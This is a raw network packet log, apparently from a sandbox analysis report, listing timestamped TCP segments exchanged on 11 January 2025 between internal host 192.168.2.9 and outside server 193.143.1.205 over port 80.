Jan 11, 2025 06:20:12.178500891 CET	80	49753	193.143.1.205	192.168.2.9
Jan 11, 2025 06:20:12.178515911 CET	80	49753	193.143.1.205	192.168.2.9
Jan 11, 2025 06:20:12.178533077 CET	80	49753	193.143.1.205	192.168.2.9
Jan 11, 2025 06:20:12.178539038 CET	49753	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:20:12.178548098 CET	80	49753	193.143.1.205	192.168.2.9
Jan 11, 2025 06:20:12.178564072 CET	80	49753	193.143.1.205	192.168.2.9
Jan 11, 2025 06:20:12.178577900 CET	80	49753	193.143.1.205	192.168.2.9
Jan 11, 2025 06:20:12.178580046 CET	49753	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:20:12.178594112 CET	80	49753	193.143.1.205	192.168.2.9
Jan 11, 2025 06:20:12.178606987 CET	49753	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:20:12.178631067 CET	49753	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:20:12.179349899 CET	80	49753	193.143.1.205	192.168.2.9
Jan 11, 2025 06:20:12.179366112 CET	80	49753	193.143.1.205	192.168.2.9
Jan 11, 2025 06:20:12.179380894 CET	80	49753	193.143.1.205	192.168.2.9
Jan 11, 2025 06:20:12.179397106 CET	80	49753	193.143.1.205	192.168.2.9
Jan 11, 2025 06:20:12.179411888 CET	80	49753	193.143.1.205	192.168.2.9
Jan 11, 2025 06:20:12.179429054 CET	80	49753	193.143.1.205	192.168.2.9
Jan 11, 2025 06:20:12.179430962 CET	49753	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:20:12.179460049 CET	49753	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:20:12.179466009 CET	80	49753	193.143.1.205	192.168.2.9
Jan 11, 2025 06:20:12.179469109 CET	49753	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:20:12.179481983 CET	80	49753	193.143.1.205	192.168.2.9
Jan 11, 2025 06:20:12.179500103 CET	80	49753	193.143.1.205	192.168.2.9
Jan 11, 2025 06:20:12.179514885 CET	80	49753	193.143.1.205	192.168.2.9
Jan 11, 2025 06:20:12.179517984 CET	49753	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:20:12.179531097 CET	80	49753	193.143.1.205	192.168.2.9
Jan 11, 2025 06:20:12.179569960 CET	49753	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:20:12.180135012 CET	80	49753	193.143.1.205	192.168.2.9
Jan 11, 2025 06:20:12.180181980 CET	49753	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:20:12.180640936 CET	80	49753	193.143.1.205	192.168.2.9
Jan 11, 2025 06:20:12.180665970 CET	80	49753	193.143.1.205	192.168.2.9
Jan 11, 2025 06:20:12.180681944 CET	80	49753	193.143.1.205	192.168.2.9
Jan 11, 2025 06:20:12.180696964 CET	80	49753	193.143.1.205	192.168.2.9
Jan 11, 2025 06:20:12.180712938 CET	49753	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:20:12.180736065 CET	49753	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:20:12.180792093 CET	80	49753	193.143.1.205	192.168.2.9
Jan 11, 2025 06:20:12.180804968 CET	80	49753	193.143.1.205	192.168.2.9
Jan 11, 2025 06:20:12.180855989 CET	49753	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:20:12.181824923 CET	49753	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:20:12.212836027 CET	80	49753	193.143.1.205	192.168.2.9
Jan 11, 2025 06:20:12.212856054 CET	80	49753	193.143.1.205	192.168.2.9
Jan 11, 2025 06:20:12.212934971 CET	49753	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:20:12.227658033 CET	49753	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:20:12.246786118 CET	80	49753	193.143.1.205	192.168.2.9
Jan 11, 2025 06:20:12.246803045 CET	80	49753	193.143.1.205	192.168.2.9
Jan 11, 2025 06:20:12.246822119 CET	80	49753	193.143.1.205	192.168.2.9
Jan 11, 2025 06:20:12.246834993 CET	80	49753	193.143.1.205	192.168.2.9
Jan 11, 2025 06:20:12.246845007 CET	80	49753	193.143.1.205	192.168.2.9
Jan 11, 2025 06:20:12.246864080 CET	80	49753	193.143.1.205	192.168.2.9
Jan 11, 2025 06:20:12.246875048 CET	80	49753	193.143.1.205	192.168.2.9
Jan 11, 2025 06:20:12.246886969 CET	80	49753	193.143.1.205	192.168.2.9
Jan 11, 2025 06:20:12.246897936 CET	80	49753	193.143.1.205	192.168.2.9
Jan 11, 2025 06:20:12.246911049 CET	49753	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:20:12.246952057 CET	49753	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:20:12.246977091 CET	80	49753	193.143.1.205	192.168.2.9
Jan 11, 2025 06:20:12.246989012 CET	80	49753	193.143.1.205	192.168.2.9
Jan 11, 2025 06:20:12.247000933 CET	80	49753	193.143.1.205	192.168.2.9
Jan 11, 2025 06:20:12.247014046 CET	49753	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:20:12.247040987 CET	49753	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:20:12.265635967 CET	80	49753	193.143.1.205	192.168.2.9
Jan 11, 2025 06:20:12.265656948 CET	80	49753	193.143.1.205	192.168.2.9
Jan 11, 2025 06:20:12.265669107 CET	80	49753	193.143.1.205	192.168.2.9
Jan 11, 2025 06:20:12.265681982 CET	80	49753	193.143.1.205	192.168.2.9
Jan 11, 2025 06:20:12.265693903 CET	80	49753	193.143.1.205	192.168.2.9
Jan 11, 2025 06:20:12.265701056 CET	49753	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:20:12.265705109 CET	80	49753	193.143.1.205	192.168.2.9
Jan 11, 2025 06:20:12.265729904 CET	49753	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:20:12.265753031 CET	49753	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:20:12.265791893 CET	80	49753	193.143.1.205	192.168.2.9
Jan 11, 2025 06:20:12.265804052 CET	80	49753	193.143.1.205	192.168.2.9
Jan 11, 2025 06:20:12.265815973 CET	80	49753	193.143.1.205	192.168.2.9
Jan 11, 2025 06:20:12.265846968 CET	49753	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:20:12.280883074 CET	80	49753	193.143.1.205	192.168.2.9
Jan 11, 2025 06:20:12.280930042 CET	80	49753	193.143.1.205	192.168.2.9
Jan 11, 2025 06:20:12.280941010 CET	80	49753	193.143.1.205	192.168.2.9
Jan 11, 2025 06:20:12.280965090 CET	49753	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:20:12.280992031 CET	49753	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:20:12.281064987 CET	80	49753	193.143.1.205	192.168.2.9
Jan 11, 2025 06:20:12.281078100 CET	80	49753	193.143.1.205	192.168.2.9
Jan 11, 2025 06:20:12.281089067 CET	80	49753	193.143.1.205	192.168.2.9
Jan 11, 2025 06:20:12.281100035 CET	80	49753	193.143.1.205	192.168.2.9
Jan 11, 2025 06:20:12.281112909 CET	80	49753	193.143.1.205	192.168.2.9
Jan 11, 2025 06:20:12.281122923 CET	80	49753	193.143.1.205	192.168.2.9
Jan 11, 2025 06:20:12.281126976 CET	49753	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:20:12.281135082 CET	80	49753	193.143.1.205	192.168.2.9
Jan 11, 2025 06:20:12.281146049 CET	80	49753	193.143.1.205	192.168.2.9
Jan 11, 2025 06:20:12.281155109 CET	49753	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:20:12.281183958 CET	49753	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:20:12.299732924 CET	80	49753	193.143.1.205	192.168.2.9
Jan 11, 2025 06:20:12.299757957 CET	80	49753	193.143.1.205	192.168.2.9
Jan 11, 2025 06:20:12.299767017 CET	80	49753	193.143.1.205	192.168.2.9
Jan 11, 2025 06:20:12.299786091 CET	80	49753	193.143.1.205	192.168.2.9
Jan 11, 2025 06:20:12.299799919 CET	80	49753	193.143.1.205	192.168.2.9
Jan 11, 2025 06:20:12.299810886 CET	49753	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:20:12.299832106 CET	49753	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:20:12.299880981 CET	80	49753	193.143.1.205	192.168.2.9
Jan 11, 2025 06:20:12.299892902 CET	80	49753	193.143.1.205	192.168.2.9
Jan 11, 2025 06:20:12.299911022 CET	80	49753	193.143.1.205	192.168.2.9
Jan 11, 2025 06:20:12.299913883 CET	49753	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:20:12.299921989 CET	80	49753	193.143.1.205	192.168.2.9
Jan 11, 2025 06:20:12.299932957 CET	80	49753	193.143.1.205	192.168.2.9
Jan 11, 2025 06:20:12.299938917 CET	49753	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:20:12.299945116 CET	80	49753	193.143.1.205	192.168.2.9
Jan 11, 2025 06:20:12.299954891 CET	80	49753	193.143.1.205	192.168.2.9
Jan 11, 2025 06:20:12.299968004 CET	49753	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:20:12.299985886 CET	49753	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:20:12.300806999 CET	80	49753	193.143.1.205	192.168.2.9
Jan 11, 2025 06:20:12.300817966 CET	80	49753	193.143.1.205	192.168.2.9
Jan 11, 2025 06:20:12.300831079 CET	80	49753	193.143.1.205	192.168.2.9
Jan 11, 2025 06:20:12.300842047 CET	80	49753	193.143.1.205	192.168.2.9
Jan 11, 2025 06:20:12.300854921 CET	49753	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:20:12.300858974 CET	80	49753	193.143.1.205	192.168.2.9
Jan 11, 2025 06:20:12.300879955 CET	49753	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:20:12.300900936 CET	80	49753	193.143.1.205	192.168.2.9
Jan 11, 2025 06:20:12.300913095 CET	80	49753	193.143.1.205	192.168.2.9
Jan 11, 2025 06:20:12.300923109 CET	80	49753	193.143.1.205	192.168.2.9
Jan 11, 2025 06:20:12.300940037 CET	49753	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:20:12.300962925 CET	49753	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:20:12.300985098 CET	80	49753	193.143.1.205	192.168.2.9
Jan 11, 2025 06:20:12.300997019 CET	80	49753	193.143.1.205	192.168.2.9
Jan 11, 2025 06:20:12.301008940 CET	80	49753	193.143.1.205	192.168.2.9
Jan 11, 2025 06:20:12.301032066 CET	49753	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:20:12.301188946 CET	80	49753	193.143.1.205	192.168.2.9
Jan 11, 2025 06:20:12.301198959 CET	80	49753	193.143.1.205	192.168.2.9
Jan 11, 2025 06:20:12.301207066 CET	80	49753	193.143.1.205	192.168.2.9
Jan 11, 2025 06:20:12.301223040 CET	80	49753	193.143.1.205	192.168.2.9
Jan 11, 2025 06:20:12.301230907 CET	49753	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:20:12.301234961 CET	80	49753	193.143.1.205	192.168.2.9
Jan 11, 2025 06:20:12.301246881 CET	80	49753	193.143.1.205	192.168.2.9
Jan 11, 2025 06:20:12.301265001 CET	49753	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:20:12.301280022 CET	49753	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:20:12.301294088 CET	80	49753	193.143.1.205	192.168.2.9
Jan 11, 2025 06:20:12.301336050 CET	49753	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:20:12.301348925 CET	80	49753	193.143.1.205	192.168.2.9
Jan 11, 2025 06:20:12.301361084 CET	80	49753	193.143.1.205	192.168.2.9
Jan 11, 2025 06:20:12.301393986 CET	49753	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:20:12.301395893 CET	80	49753	193.143.1.205	192.168.2.9
Jan 11, 2025 06:20:12.301405907 CET	80	49753	193.143.1.205	192.168.2.9
Jan 11, 2025 06:20:12.301429033 CET	80	49753	193.143.1.205	192.168.2.9
Jan 11, 2025 06:20:12.301439047 CET	80	49753	193.143.1.205	192.168.2.9
Jan 11, 2025 06:20:12.301482916 CET	80	49753	193.143.1.205	192.168.2.9
Jan 11, 2025 06:20:12.301493883 CET	80	49753	193.143.1.205	192.168.2.9
Jan 11, 2025 06:20:12.301505089 CET	80	49753	193.143.1.205	192.168.2.9
Jan 11, 2025 06:20:12.301512003 CET	49753	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:20:12.301527977 CET	49753	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:20:12.301584005 CET	80	49753	193.143.1.205	192.168.2.9
Jan 11, 2025 06:20:12.301594973 CET	80	49753	193.143.1.205	192.168.2.9
Jan 11, 2025 06:20:12.301605940 CET	80	49753	193.143.1.205	192.168.2.9
Jan 11, 2025 06:20:12.301621914 CET	49753	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:20:12.301635027 CET	49753	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:20:12.301649094 CET	80	49753	193.143.1.205	192.168.2.9
Jan 11, 2025 06:20:12.301660061 CET	80	49753	193.143.1.205	192.168.2.9
Jan 11, 2025 06:20:12.301671982 CET	80	49753	193.143.1.205	192.168.2.9
Jan 11, 2025 06:20:12.301682949 CET	80	49753	193.143.1.205	192.168.2.9
Jan 11, 2025 06:20:12.301703930 CET	49753	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:20:12.301727057 CET	49753	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:20:12.301759005 CET	80	49753	193.143.1.205	192.168.2.9
Jan 11, 2025 06:20:12.301769972 CET	80	49753	193.143.1.205	192.168.2.9
Jan 11, 2025 06:20:12.301781893 CET	80	49753	193.143.1.205	192.168.2.9
Jan 11, 2025 06:20:12.301800966 CET	49753	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:20:12.301815987 CET	80	49753	193.143.1.205	192.168.2.9
Jan 11, 2025 06:20:12.301829100 CET	80	49753	193.143.1.205	192.168.2.9
Jan 11, 2025 06:20:12.301856041 CET	49753	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:20:12.301898956 CET	80	49753	193.143.1.205	192.168.2.9
Jan 11, 2025 06:20:12.301911116 CET	80	49753	193.143.1.205	192.168.2.9
Jan 11, 2025 06:20:12.301923990 CET	80	49753	193.143.1.205	192.168.2.9
Jan 11, 2025 06:20:12.301939964 CET	49753	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:20:12.301942110 CET	80	49753	193.143.1.205	192.168.2.9
Jan 11, 2025 06:20:12.301961899 CET	49753	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:20:12.302014112 CET	80	49753	193.143.1.205	192.168.2.9
Jan 11, 2025 06:20:12.302026033 CET	80	49753	193.143.1.205	192.168.2.9
Jan 11, 2025 06:20:12.302040100 CET	80	49753	193.143.1.205	192.168.2.9
Jan 11, 2025 06:20:12.302046061 CET	49753	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:20:12.302052021 CET	80	49753	193.143.1.205	192.168.2.9
Jan 11, 2025 06:20:12.302058935 CET	80	49753	193.143.1.205	192.168.2.9
Jan 11, 2025 06:20:12.302130938 CET	80	49753	193.143.1.205	192.168.2.9
Jan 11, 2025 06:20:12.302139044 CET	49753	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:20:12.302141905 CET	80	49753	193.143.1.205	192.168.2.9
Jan 11, 2025 06:20:12.302153111 CET	80	49753	193.143.1.205	192.168.2.9
Jan 11, 2025 06:20:12.302176952 CET	49753	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:20:12.302321911 CET	80	49753	193.143.1.205	192.168.2.9
Jan 11, 2025 06:20:12.302334070 CET	80	49753	193.143.1.205	192.168.2.9
Jan 11, 2025 06:20:12.302345037 CET	80	49753	193.143.1.205	192.168.2.9
Jan 11, 2025 06:20:12.302356005 CET	80	49753	193.143.1.205	192.168.2.9
Jan 11, 2025 06:20:12.302366972 CET	80	49753	193.143.1.205	192.168.2.9
Jan 11, 2025 06:20:12.302376986 CET	80	49753	193.143.1.205	192.168.2.9
Jan 11, 2025 06:20:12.302380085 CET	49753	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:20:12.302391052 CET	80	49753	193.143.1.205	192.168.2.9
Jan 11, 2025 06:20:12.302402020 CET	49753	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:20:12.302438021 CET	49753	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:20:12.302478075 CET	80	49753	193.143.1.205	192.168.2.9
Jan 11, 2025 06:20:12.302489996 CET	80	49753	193.143.1.205	192.168.2.9
Jan 11, 2025 06:20:12.302495956 CET	80	49753	193.143.1.205	192.168.2.9
Jan 11, 2025 06:20:12.302512884 CET	80	49753	193.143.1.205	192.168.2.9
Jan 11, 2025 06:20:12.302525043 CET	80	49753	193.143.1.205	192.168.2.9
Jan 11, 2025 06:20:12.302530050 CET	49753	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:20:12.302535057 CET	80	49753	193.143.1.205	192.168.2.9
Jan 11, 2025 06:20:12.302546978 CET	80	49753	193.143.1.205	192.168.2.9
Jan 11, 2025 06:20:12.302556038 CET	49753	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:20:12.302556992 CET	80	49753	193.143.1.205	192.168.2.9
Jan 11, 2025 06:20:12.302567959 CET	80	49753	193.143.1.205	192.168.2.9
Jan 11, 2025 06:20:12.302568913 CET	49753	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:20:12.302593946 CET	49753	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:20:12.302609921 CET	80	49753	193.143.1.205	192.168.2.9
Jan 11, 2025 06:20:12.302642107 CET	49753	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:20:12.302706003 CET	80	49753	193.143.1.205	192.168.2.9
Jan 11, 2025 06:20:12.302716017 CET	80	49753	193.143.1.205	192.168.2.9
Jan 11, 2025 06:20:12.302728891 CET	80	49753	193.143.1.205	192.168.2.9
Jan 11, 2025 06:20:12.302756071 CET	49753	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:20:12.302771091 CET	80	49753	193.143.1.205	192.168.2.9
Jan 11, 2025 06:20:12.302781105 CET	80	49753	193.143.1.205	192.168.2.9
Jan 11, 2025 06:20:12.302798986 CET	80	49753	193.143.1.205	192.168.2.9
Jan 11, 2025 06:20:12.302804947 CET	49753	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:20:12.302833080 CET	49753	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:20:12.302854061 CET	80	49753	193.143.1.205	192.168.2.9
Jan 11, 2025 06:20:12.302866936 CET	80	49753	193.143.1.205	192.168.2.9
Jan 11, 2025 06:20:12.302879095 CET	80	49753	193.143.1.205	192.168.2.9
Jan 11, 2025 06:20:12.302911997 CET	49753	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:20:12.302942991 CET	80	49753	193.143.1.205	192.168.2.9
Jan 11, 2025 06:20:12.302954912 CET	80	49753	193.143.1.205	192.168.2.9
Jan 11, 2025 06:20:12.302977085 CET	49753	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:20:12.309340954 CET	49753	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:20:12.320527077 CET	49753	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:20:12.337491035 CET	80	49753	193.143.1.205	192.168.2.9
Jan 11, 2025 06:20:12.337549925 CET	80	49753	193.143.1.205	192.168.2.9
Jan 11, 2025 06:20:12.337558985 CET	49753	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:20:12.337563038 CET	80	49753	193.143.1.205	192.168.2.9
Jan 11, 2025 06:20:12.337575912 CET	80	49753	193.143.1.205	192.168.2.9
Jan 11, 2025 06:20:12.337587118 CET	80	49753	193.143.1.205	192.168.2.9
Jan 11, 2025 06:20:12.337595940 CET	49753	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:20:12.337610006 CET	80	49753	193.143.1.205	192.168.2.9
Jan 11, 2025 06:20:12.337620020 CET	80	49753	193.143.1.205	192.168.2.9
Jan 11, 2025 06:20:12.337632895 CET	80	49753	193.143.1.205	192.168.2.9
Jan 11, 2025 06:20:12.337635994 CET	49753	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:20:12.337671995 CET	49753	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:20:12.337713957 CET	80	49753	193.143.1.205	192.168.2.9
Jan 11, 2025 06:20:12.337726116 CET	80	49753	193.143.1.205	192.168.2.9
Jan 11, 2025 06:20:12.337738991 CET	80	49753	193.143.1.205	192.168.2.9
Jan 11, 2025 06:20:12.337753057 CET	49753	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:20:12.337775946 CET	49753	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:20:12.337821960 CET	80	49753	193.143.1.205	192.168.2.9
Jan 11, 2025 06:20:12.337833881 CET	80	49753	193.143.1.205	192.168.2.9
Jan 11, 2025 06:20:12.337845087 CET	80	49753	193.143.1.205	192.168.2.9
Jan 11, 2025 06:20:12.337853909 CET	80	49753	193.143.1.205	192.168.2.9
Jan 11, 2025 06:20:12.337863922 CET	49753	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:20:12.337898016 CET	49753	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:20:12.356403112 CET	80	49753	193.143.1.205	192.168.2.9
Jan 11, 2025 06:20:12.356417894 CET	80	49753	193.143.1.205	192.168.2.9
Jan 11, 2025 06:20:12.356431961 CET	80	49753	193.143.1.205	192.168.2.9
Jan 11, 2025 06:20:12.356442928 CET	80	49753	193.143.1.205	192.168.2.9
Jan 11, 2025 06:20:12.356456041 CET	80	49753	193.143.1.205	192.168.2.9
Jan 11, 2025 06:20:12.356466055 CET	80	49753	193.143.1.205	192.168.2.9
Jan 11, 2025 06:20:12.356477976 CET	80	49753	193.143.1.205	192.168.2.9
Jan 11, 2025 06:20:12.356479883 CET	49753	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:20:12.356487036 CET	80	49753	193.143.1.205	192.168.2.9
Jan 11, 2025 06:20:12.356508970 CET	49753	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:20:12.356530905 CET	49753	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:20:12.371583939 CET	80	49753	193.143.1.205	192.168.2.9
Jan 11, 2025 06:20:12.371624947 CET	80	49753	193.143.1.205	192.168.2.9
Jan 11, 2025 06:20:12.371642113 CET	80	49753	193.143.1.205	192.168.2.9
Jan 11, 2025 06:20:12.371654034 CET	80	49753	193.143.1.205	192.168.2.9
Jan 11, 2025 06:20:12.371664047 CET	80	49753	193.143.1.205	192.168.2.9
Jan 11, 2025 06:20:12.371668100 CET	49753	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:20:12.371675968 CET	80	49753	193.143.1.205	192.168.2.9
Jan 11, 2025 06:20:12.371681929 CET	49753	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:20:12.371707916 CET	49753	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:20:12.371779919 CET	80	49753	193.143.1.205	192.168.2.9
Jan 11, 2025 06:20:12.371789932 CET	80	49753	193.143.1.205	192.168.2.9
Jan 11, 2025 06:20:12.371830940 CET	49753	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:20:12.390451908 CET	80	49753	193.143.1.205	192.168.2.9
Jan 11, 2025 06:20:12.390476942 CET	80	49753	193.143.1.205	192.168.2.9
Jan 11, 2025 06:20:12.390495062 CET	80	49753	193.143.1.205	192.168.2.9
Jan 11, 2025 06:20:12.390506983 CET	80	49753	193.143.1.205	192.168.2.9
Jan 11, 2025 06:20:12.390520096 CET	49753	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:20:12.390544891 CET	49753	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:20:12.390554905 CET	80	49753	193.143.1.205	192.168.2.9
Jan 11, 2025 06:20:12.390566111 CET	80	49753	193.143.1.205	192.168.2.9
Jan 11, 2025 06:20:12.390579939 CET	80	49753	193.143.1.205	192.168.2.9
Jan 11, 2025 06:20:12.390602112 CET	49753	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:20:12.390739918 CET	80	49753	193.143.1.205	192.168.2.9
Jan 11, 2025 06:20:12.390750885 CET	80	49753	193.143.1.205	192.168.2.9
Jan 11, 2025 06:20:12.390763044 CET	80	49753	193.143.1.205	192.168.2.9
Jan 11, 2025 06:20:12.390773058 CET	80	49753	193.143.1.205	192.168.2.9
Jan 11, 2025 06:20:12.390784025 CET	80	49753	193.143.1.205	192.168.2.9
Jan 11, 2025 06:20:12.390786886 CET	49753	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:20:12.390795946 CET	80	49753	193.143.1.205	192.168.2.9
Jan 11, 2025 06:20:12.390808105 CET	80	49753	193.143.1.205	192.168.2.9
Jan 11, 2025 06:20:12.390820026 CET	49753	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:20:12.390820026 CET	80	49753	193.143.1.205	192.168.2.9
Jan 11, 2025 06:20:12.390839100 CET	49753	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:20:12.391522884 CET	80	49753	193.143.1.205	192.168.2.9
Jan 11, 2025 06:20:12.391531944 CET	80	49753	193.143.1.205	192.168.2.9
Jan 11, 2025 06:20:12.391545057 CET	80	49753	193.143.1.205	192.168.2.9
Jan 11, 2025 06:20:12.391565084 CET	80	49753	193.143.1.205	192.168.2.9
Jan 11, 2025 06:20:12.391568899 CET	49753	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:20:12.391577005 CET	80	49753	193.143.1.205	192.168.2.9
Jan 11, 2025 06:20:12.391588926 CET	80	49753	193.143.1.205	192.168.2.9
Jan 11, 2025 06:20:12.391597033 CET	49753	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:20:12.391611099 CET	49753	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:20:12.391689062 CET	80	49753	193.143.1.205	192.168.2.9
Jan 11, 2025 06:20:12.391700983 CET	80	49753	193.143.1.205	192.168.2.9
Jan 11, 2025 06:20:12.391726971 CET	49753	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:20:12.391902924 CET	80	49753	193.143.1.205	192.168.2.9
Jan 11, 2025 06:20:12.391942978 CET	49753	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:20:12.391971111 CET	80	49753	193.143.1.205	192.168.2.9
Jan 11, 2025 06:20:12.391990900 CET	80	49753	193.143.1.205	192.168.2.9
Jan 11, 2025 06:20:12.392003059 CET	80	49753	193.143.1.205	192.168.2.9
Jan 11, 2025 06:20:12.392014027 CET	80	49753	193.143.1.205	192.168.2.9
Jan 11, 2025 06:20:12.392026901 CET	49753	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:20:12.392041922 CET	80	49753	193.143.1.205	192.168.2.9
Jan 11, 2025 06:20:12.392047882 CET	49753	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:20:12.392054081 CET	80	49753	193.143.1.205	192.168.2.9
Jan 11, 2025 06:20:12.392065048 CET	80	49753	193.143.1.205	192.168.2.9
Jan 11, 2025 06:20:12.392082930 CET	49753	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:20:12.392087936 CET	80	49753	193.143.1.205	192.168.2.9
Jan 11, 2025 06:20:12.392096996 CET	80	49753	193.143.1.205	192.168.2.9
Jan 11, 2025 06:20:12.392126083 CET	49753	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:20:12.392133951 CET	80	49753	193.143.1.205	192.168.2.9
Jan 11, 2025 06:20:12.392177105 CET	49753	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:20:12.392252922 CET	80	49753	193.143.1.205	192.168.2.9
Jan 11, 2025 06:20:12.392263889 CET	80	49753	193.143.1.205	192.168.2.9
Jan 11, 2025 06:20:12.392275095 CET	80	49753	193.143.1.205	192.168.2.9
Jan 11, 2025 06:20:12.392285109 CET	80	49753	193.143.1.205	192.168.2.9
Jan 11, 2025 06:20:12.392292023 CET	49753	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:20:12.392297029 CET	80	49753	193.143.1.205	192.168.2.9
Jan 11, 2025 06:20:12.392308950 CET	80	49753	193.143.1.205	192.168.2.9
Jan 11, 2025 06:20:12.392318964 CET	80	49753	193.143.1.205	192.168.2.9
Jan 11, 2025 06:20:12.392327070 CET	49753	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:20:12.392339945 CET	49753	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:20:12.392352104 CET	80	49753	193.143.1.205	192.168.2.9
Jan 11, 2025 06:20:12.392364025 CET	80	49753	193.143.1.205	192.168.2.9
Jan 11, 2025 06:20:12.392374992 CET	80	49753	193.143.1.205	192.168.2.9
Jan 11, 2025 06:20:12.392385960 CET	80	49753	193.143.1.205	192.168.2.9
Jan 11, 2025 06:20:12.392394066 CET	49753	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:20:12.392430067 CET	49753	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:20:12.392560005 CET	80	49753	193.143.1.205	192.168.2.9
Jan 11, 2025 06:20:12.392570019 CET	80	49753	193.143.1.205	192.168.2.9
Jan 11, 2025 06:20:12.392580986 CET	80	49753	193.143.1.205	192.168.2.9
Jan 11, 2025 06:20:12.392597914 CET	80	49753	193.143.1.205	192.168.2.9
Jan 11, 2025 06:20:12.392601013 CET	49753	80	192.168.2.9	193.143.1.205
